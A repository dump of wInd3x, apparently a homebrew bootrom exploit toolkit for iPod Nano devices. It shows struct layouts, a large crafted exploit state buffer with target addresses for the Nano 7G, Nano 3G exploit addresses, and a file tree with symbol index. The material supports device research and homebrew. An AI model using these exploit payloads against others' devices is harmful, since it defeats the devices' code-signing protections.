	EP0Speed          byte    // 0xc4
	Pad9              [3]byte // 0xc5
	TimerScaleFromDFU uint32  // 0xc8

	HeapChunks        [52]uint32  // 0xcc
	InterruptsForMode [0x380]byte // 0x19c
	Unk6              uint32      // 0x51c
	Unk7              uint32      // 0x520
	Unk8              uint32      // 0x524
	Unk9              uint32      // 0x528

	CertParserState [0x104]byte // 0x52c

	DFUBoot      uint32 // 0x630
	ChipInfo     uint32 // 0x634
	CNCA         uint32 // 0x638
	CNSecureBoot uint32 // 0x63c
}

type usbHandlers struct {
	InterfaceDescriptor uint32 // 0x00
	OnSetConfiguration  uint32 // 0x04
	Indiret             uint32 // 0x08
	OnSynchFrame        uint32 // 0x0c
	HandlerClass        uint32 // 0x10
	HandlerVendor       uint32 // 0x14
	Unk1                uint32 // 0x18
}

var S5LateParametersForKind = map[devices.Kind]*S5LateParameters{
	devices.Nano7: &S5LateParameters{
		stateRaw: []byte{
			0x00, 0xdb, 0x02, 0x22, 0x00, 0x08, 0x00, 0x00, 0x63, 0x48, 0x02,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x48, 0x3c, 0x00, 0x20, 0x40, 0x3c, 0x00, 0x20, 0xc8,
			0x3b, 0x00, 0x20, 0x20, 0x00, 0x00, 0x20, 0x01, 0x02, 0x00, 0x00,
			0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x2e, 0x30,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0xba, 0x02, 0x22, 0x01, 0x02,
			0x00, 0xb8, 0x0b, 0x00, 0x07, 0x00, 0xdc, 0xab, 0x44, 0x52, 0x44,
			0x48, 0xf0, 0x60, 0x05, 0x01, 0x00, 0x00, 0x8f, 0xbd, 0x00, 0x20,
			0xb4, 0x43, 0x00, 0x20, 0x74, 0x43, 0x00, 0x20, 0x00, 0x00, 0x00,
			0x00, 0x24, 0x3e, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74,
			0xbd, 0x00, 0x20, 0x86, 0xbd, 0x00, 0x20, 0xf4, 0xb9, 0x02, 0x22,
			0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
			0x00, 0x38, 0x00, 0x00, 0x00, 0xa7, 0x03, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
			0x01, 0x00, 0x00, 0x00, 0xdb, 0x02, 0x22, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x7e, 0xba, 0x02, 0x22, 0x06, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe3, 0x02, 0x22, 0x02, 0x00,
			0x00, 0x00, 0x00, 0x87, 0x93, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8,
			0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20,
			0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00,
			0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11,
			0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0xf8, 0x11, 0x00, 0x20, 0x00,
			0x1c, 0x4e, 0x0e, 0x00, 0x0e, 0x27, 0x07, 0x00, 0x87, 0x93, 0x03,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x62, 0x00, 0x00, 0x00, 0x49, 0x44, 0x02, 0x22, 0x62, 0x00,
			0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x95,
			0x44, 0x02, 0x22, 0x16, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
			0xa3, 0x03, 0x00, 0x00, 0xac, 0x43, 0x02, 0x22, 0xa3, 0x03, 0x00,
			0x00, 0x15, 0x00, 0x00, 0x00, 0x7a, 0x01, 0x00, 0x00, 0xd5, 0x45,
			0x02, 0x22, 0x7a, 0x01, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x76,
			0x01, 0x00, 0x00, 0xd9, 0x45, 0x02, 0x22, 0x76, 0x01, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			0xe4, 0xb9, 0x02, 0x22, 0x02, 0x00, 0x00, 0x00, 0x7c, 0x39, 0x00,
			0x20, 0x34, 0x39, 0x00, 0x20,
		},
		bufferLocation:      0x2202db00,
		magicalMysteryValue: 0xba581067,
	},
}


================================================
FILE: pkg/exploit/wind3x_n3g.go
================================================
package exploit

import (
	"fmt"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/uasm"
)

// Flash Management Controller
const (
	// Base Address for the first controller
	FMC_BASE0 = 0x38a00000

	// Control Register 0
	FMC_CTRL0_OFF = 0x00
	// Control Register 1
	FMC_CTRL1_OFF = 0x04
	// Command Register
	FMC_CMD_OFF = 0x08
	// Address Register
	FMC_ADDR0_OFF = 0x0c
	FMC_ADDR1_OFF = 0x10
	FMC_ADDR2_OFF = 0x14
	// Address Counter Register
	FMC_ANUM_OFF = 0x2c
	// Data Counter Register
	FMC_DNUM_OFF = 0x30
	// Status Register
	FMC_STAT_OFF = 0x48
	// FIFO Start
	FMC_FIFO_OFF = 0x80
)

type epNano3G struct{}

func (_ *epNano3G) Prepare(_ devices.Usb) error {
	return nil
}

func (_ *epNano3G) DFUBufAddr() uint32 {
	return 0x22028220
}

func (_ *epNano3G) ExecAddr() uint32 {
	return 0x220284A8
}

func (_ *epNano3G) USBBufAddr() uint32 {
	return 0x22028A20
}

func (_ *epNano3G) TrampolineAddr() uint16 {
	// No trampoline ne
Download .txt
gitextract_6fef_fhp/

├── .github/
│   └── ISSUE_TEMPLATE/
│       └── bug_report.md
├── .gitignore
├── COPYING
├── README.md
├── cmd/
│   └── wInd3x/
│       ├── app.go
│       ├── cmd_cfw.go
│       ├── cmd_decrypt.go
│       ├── cmd_download.go
│       ├── cmd_dump.go
│       ├── cmd_haxdu.go
│       ├── cmd_makedfu.go
│       ├── cmd_mse.go
│       ├── cmd_nand_read.go
│       ├── cmd_nor_read.go
│       ├── cmd_restore.go
│       ├── cmd_run.go
│       ├── cmd_spew.go
│       └── main.go
├── default.nix
├── go.mod
├── go.sum
├── pkg/
│   ├── app/
│   │   └── app.go
│   ├── cache/
│   │   ├── cache.go
│   │   ├── cache_test.go
│   │   └── phobos.go
│   ├── cfw/
│   │   ├── cfw.go
│   │   ├── defang_wtf.go
│   │   └── fixup.go
│   ├── devices/
│   │   ├── devices.go
│   │   └── usb.go
│   ├── dfu/
│   │   └── dfu.go
│   ├── efi/
│   │   ├── compression/
│   │   │   ├── COPYING.edk2.txt
│   │   │   ├── build.sh
│   │   │   ├── compression.go
│   │   │   ├── compression_runtime.go
│   │   │   ├── compression_test.go
│   │   │   ├── compression_wazero.go
│   │   │   └── edk2.wasm
│   │   ├── efi.go
│   │   ├── file.go
│   │   ├── sections.go
│   │   └── volume.go
│   ├── exploit/
│   │   ├── decrypt/
│   │   │   └── decrypt.go
│   │   ├── dumpmem/
│   │   │   └── dumpmem.go
│   │   ├── exploit.go
│   │   ├── haxeddfu/
│   │   │   └── haxeddfu.go
│   │   ├── s5late_n7g.go
│   │   ├── wind3x_n3g.go
│   │   └── wind3x_n45g.go
│   ├── image/
│   │   └── image.go
│   ├── mse/
│   │   ├── modifications.go
│   │   └── mse.go
│   ├── syscfg/
│   │   └── syscfg.go
│   ├── uasm/
│   │   ├── insns.go
│   │   ├── operands.go
│   │   ├── uasm.go
│   │   └── uasm_test.go
│   └── usbms/
│       ├── ipod.go
│       ├── scsi.go
│       └── usbms.go
└── web/
    ├── .gitignore
    ├── COPYING
    ├── Makefile
    ├── README.md
    ├── index.html
    ├── package.json
    ├── server/
    │   ├── README.md
    │   └── main.go
    ├── shell.nix
    ├── src/
    │   ├── components.ts
    │   ├── edk2.ts
    │   └── go.ts
    ├── tsconfig.json
    └── wiwali/
        ├── README.md
        ├── main.go
        ├── store.go
        ├── usb.go
        └── wiwali.wasm
Download .txt
SYMBOL INDEX (553 symbols across 49 files)

FILE: cmd/wInd3x/app.go
  type desktopApp (line 15) | type desktopApp struct
    method Close (line 98) | func (d *desktopApp) Close() error {
    method waitSwitch (line 190) | func (a *desktopApp) waitSwitch(ctx context.Context, ik devices.Interf...
  type desktopUsb (line 20) | type desktopUsb struct
    method UseDefaultInterface (line 25) | func (d *desktopUsb) UseDefaultInterface() error {
    method UseDiskInterface (line 34) | func (d *desktopUsb) UseDiskInterface() (devices.UsbMsEndpoints, error) {
    method Control (line 73) | func (d *desktopUsb) Control(rType, request uint8, val, idx uint16, da...
    method SetControlTimeout (line 81) | func (d *desktopUsb) SetControlTimeout(dur time.Duration) error {
    method GetStringDescriptor (line 86) | func (d *desktopUsb) GetStringDescriptor(descIndex int) (string, error) {
    method Close (line 90) | func (d *desktopUsb) Close() error {
  function newDFU (line 108) | func newDFU() (*desktopApp, error) {
  function newAny (line 148) | func newAny() (*desktopApp, error) {
  function newContext (line 232) | func newContext() (*gousb.Context, error) {

FILE: cmd/wInd3x/cmd_cfw.go
  type findVisitor (line 30) | type findVisitor struct
    method Done (line 35) | func (v *findVisitor) Done() error {
    method VisitFile (line 39) | func (v *findVisitor) VisitFile(file *efi.FirmwareFile) error {
    method VisitSection (line 52) | func (v *findVisitor) VisitSection(section efi.Section) error {
  function superdiags (line 56) | func superdiags(app *app.App) ([]byte, error) {

FILE: cmd/wInd3x/cmd_nand_read.go
  function nandReadPageOffset (line 21) | func nandReadPageOffset(a *app.App, bank, page, offset uint32) ([]byte, ...
  function nandIdentify (line 43) | func nandIdentify(a *app.App) ([]byte, error) {

FILE: cmd/wInd3x/cmd_nor_read.go
  function readNOR (line 22) | func readNOR(app *app.App, w io.Writer, spino, offset, size uint32) error {

FILE: cmd/wInd3x/cmd_spew.go
  function readFrom (line 19) | func readFrom(app *app.App, addr uint32) ([]byte, error) {
  function readCP15 (line 35) | func readCP15(app *app.App, register, reg2, opc2 uint8) (uint32, error) {
  function readCP14 (line 60) | func readCP14(app *app.App, opc2, reg2 uint8) (uint32, error) {
  function dumpCP15 (line 85) | func dumpCP15(app *app.App) {
  type peripheral (line 183) | type peripheral struct
  type register (line 188) | type register struct
  function printN3Gates (line 214) | func printN3Gates(v uint32) {

FILE: cmd/wInd3x/main.go
  function main (line 30) | func main() {
  function init (line 62) | func init() {
  function parseNumber (line 66) | func parseNumber(s string) (uint32, error) {

FILE: pkg/app/app.go
  type App (line 10) | type App struct
    method Close (line 19) | func (a *App) Close() error {
    method PrepareUSB (line 28) | func (a *App) PrepareUSB() error {

FILE: pkg/cache/cache.go
  type FS (line 30) | type FS interface
  type hostPathStore (line 37) | type hostPathStore struct
    method ReadFile (line 43) | func (h *hostPathStore) ReadFile(p string) ([]byte, error) {
    method WriteFile (line 47) | func (h *hostPathStore) WriteFile(p string, data []byte) error {
    method Remove (line 55) | func (h *hostPathStore) Remove(p string) error {
    method Exists (line 59) | func (h *hostPathStore) Exists(p string) (bool, error) {
  type PayloadKind (line 72) | type PayloadKind
  constant PayloadKindWTFUpstream (line 75) | PayloadKindWTFUpstream       PayloadKind = "wtf-upstream"
  constant PayloadKindWTFDecrypted (line 76) | PayloadKindWTFDecrypted      PayloadKind = "wtf-decrypted"
  constant PayloadKindWTFDecryptedCache (line 77) | PayloadKindWTFDecryptedCache PayloadKind = "wtf-decrypted-cache"
  constant PayloadKindWTFDefanged (line 78) | PayloadKindWTFDefanged       PayloadKind = "wtf-defanged"
  constant PayloadKindRecoveryUpstream (line 80) | PayloadKindRecoveryUpstream PayloadKind = "recovery-upstream"
  constant PayloadKindFirmwareUpstream (line 82) | PayloadKindFirmwareUpstream PayloadKind = "firmware-upstream"
  constant PayloadKindBootloaderUpstream (line 84) | PayloadKindBootloaderUpstream       PayloadKind = "bootloader-upstream"
  constant PayloadKindBootloaderDecrypted (line 85) | PayloadKindBootloaderDecrypted      PayloadKind = "bootloader-decrypted"
  constant PayloadKindBootloaderDecryptedCache (line 86) | PayloadKindBootloaderDecryptedCache PayloadKind = "bootloader-decrypted-...
  constant PayloadKindRetailOSUpstream (line 88) | PayloadKindRetailOSUpstream       PayloadKind = "retailos-upstream"
  constant PayloadKindRetailOSDecrypted (line 89) | PayloadKindRetailOSDecrypted      PayloadKind = "retailos-decrypted"
  constant PayloadKindRetailOSCustomized (line 90) | PayloadKindRetailOSCustomized     PayloadKind = "retailos-customized"
  constant PayloadKindRetailOSDecryptedCache (line 91) | PayloadKindRetailOSDecryptedCache PayloadKind = "retailos-decrypted-cache"
  constant PayloadKindDiagsUpstream (line 93) | PayloadKindDiagsUpstream       PayloadKind = "diags-upstream"
  constant PayloadKindDiagsDecrypted (line 94) | PayloadKindDiagsDecrypted      PayloadKind = "diags-decrypted"
  constant PayloadKindDiagsDecryptedCache (line 95) | PayloadKindDiagsDecryptedCache PayloadKind = "diags-decrypted-cache"
  constant PayloadKindJingleXML (line 97) | PayloadKindJingleXML PayloadKind = "jinglexml"
  type GetOption (line 100) | type GetOption struct
  type downloadMonitor (line 104) | type downloadMonitor struct
    method Write (line 111) | func (d *downloadMonitor) Write(data []byte) (int, error) {
  function getPayloadFromPhobosIPSW (line 121) | func getPayloadFromPhobosIPSW(pk PayloadKind, dk devices.Kind, urlStr st...
  function getBootloaderDecrypted (line 215) | func getBootloaderDecrypted(app *app.App, options ...GetOption) error {
  function getWTFDecrypted (line 256) | func getWTFDecrypted(app *app.App, options ...GetOption) error {
  function getRetailOSDecrypted (line 297) | func getRetailOSDecrypted(app *app.App, options ...GetOption) error {
  function getDiagsDecrypted (line 338) | func getDiagsDecrypted(app *app.App, options ...GetOption) error {
  function getWTFDefanged (line 379) | func getWTFDefanged(app *app.App, options ...GetOption) error {
  function getRetailOSCustomized (line 401) | func getRetailOSCustomized(app *app.App, options ...GetOption) ([]byte, ...
  function Get (line 415) | func Get(app *app.App, payload PayloadKind, options ...GetOption) ([]byt...
  function pathFor (line 454) | func pathFor(dev *devices.Kind, payload PayloadKind, upstreamURL string)...

FILE: pkg/cache/cache_test.go
  function TestRepackAll (line 14) | func TestRepackAll(t *testing.T) {

FILE: pkg/cache/phobos.go
  type jingle (line 15) | type jingle struct
  type mobileDeviceSoftwareVersion (line 20) | type mobileDeviceSoftwareVersion struct
  type recoverySoftware (line 29) | type recoverySoftware struct
  type iPodSoftwareVersion (line 33) | type iPodSoftwareVersion struct
  constant jingleURL (line 38) | jingleURL = "https://itunes.apple.com/WebObjects/MZStore.woa/wa/com.appl...
  function GetFirmwareVersions (line 59) | func GetFirmwareVersions(dk devices.Kind) []string {
  function getJingle (line 73) | func getJingle() (*jingle, error) {
  function RecoveryFirmwareDFUURL (line 109) | func RecoveryFirmwareDFUURL(dev devices.Kind) (string, error) {
  function RecoveryWTFURL (line 132) | func RecoveryWTFURL(dev devices.Kind) (string, error) {
  function FirmwareURL (line 155) | func FirmwareURL(dev devices.Kind) (string, error) {
  function urlForKind (line 181) | func urlForKind(pk PayloadKind, dk devices.Kind) (string, error) {

FILE: pkg/cfw/cfw.go
  function VisitVolume (line 12) | func VisitVolume(v *efi.Volume, vi VolumeVisitor) error {
  function visitSection (line 26) | func visitSection(s efi.Section, vi VolumeVisitor) error {
  type VolumeVisitor (line 48) | type VolumeVisitor interface
  type MultipleVisitors (line 61) | type MultipleVisitors
    method VisitFile (line 63) | func (m MultipleVisitors) VisitFile(file *efi.FirmwareFile) error {
    method VisitSection (line 72) | func (m MultipleVisitors) VisitSection(section efi.Section) error {
    method Done (line 81) | func (m MultipleVisitors) Done() error {
  type VisitPE32InFile (line 92) | type VisitPE32InFile struct
    method VisitFile (line 101) | func (v *VisitPE32InFile) VisitFile(file *efi.FirmwareFile) error {
    method VisitSection (line 106) | func (v *VisitPE32InFile) VisitSection(section efi.Section) error {
    method Done (line 124) | func (v *VisitPE32InFile) Done() error {
  type Patch (line 132) | type Patch interface
  type Patches (line 138) | type Patches
    method Apply (line 140) | func (p Patches) Apply(in []byte) ([]byte, error) {
  type ReplaceExact (line 154) | type ReplaceExact struct
    method Apply (line 159) | func (p ReplaceExact) Apply(in []byte) ([]byte, error) {
  type PatchAt (line 174) | type PatchAt struct
    method Apply (line 179) | func (p PatchAt) Apply(in []byte) ([]byte, error) {

FILE: pkg/cfw/defang_wtf.go
  type Defanger (line 14) | type Defanger
  function defangEFI (line 117) | func defangEFI(visitor VolumeVisitor) Defanger {
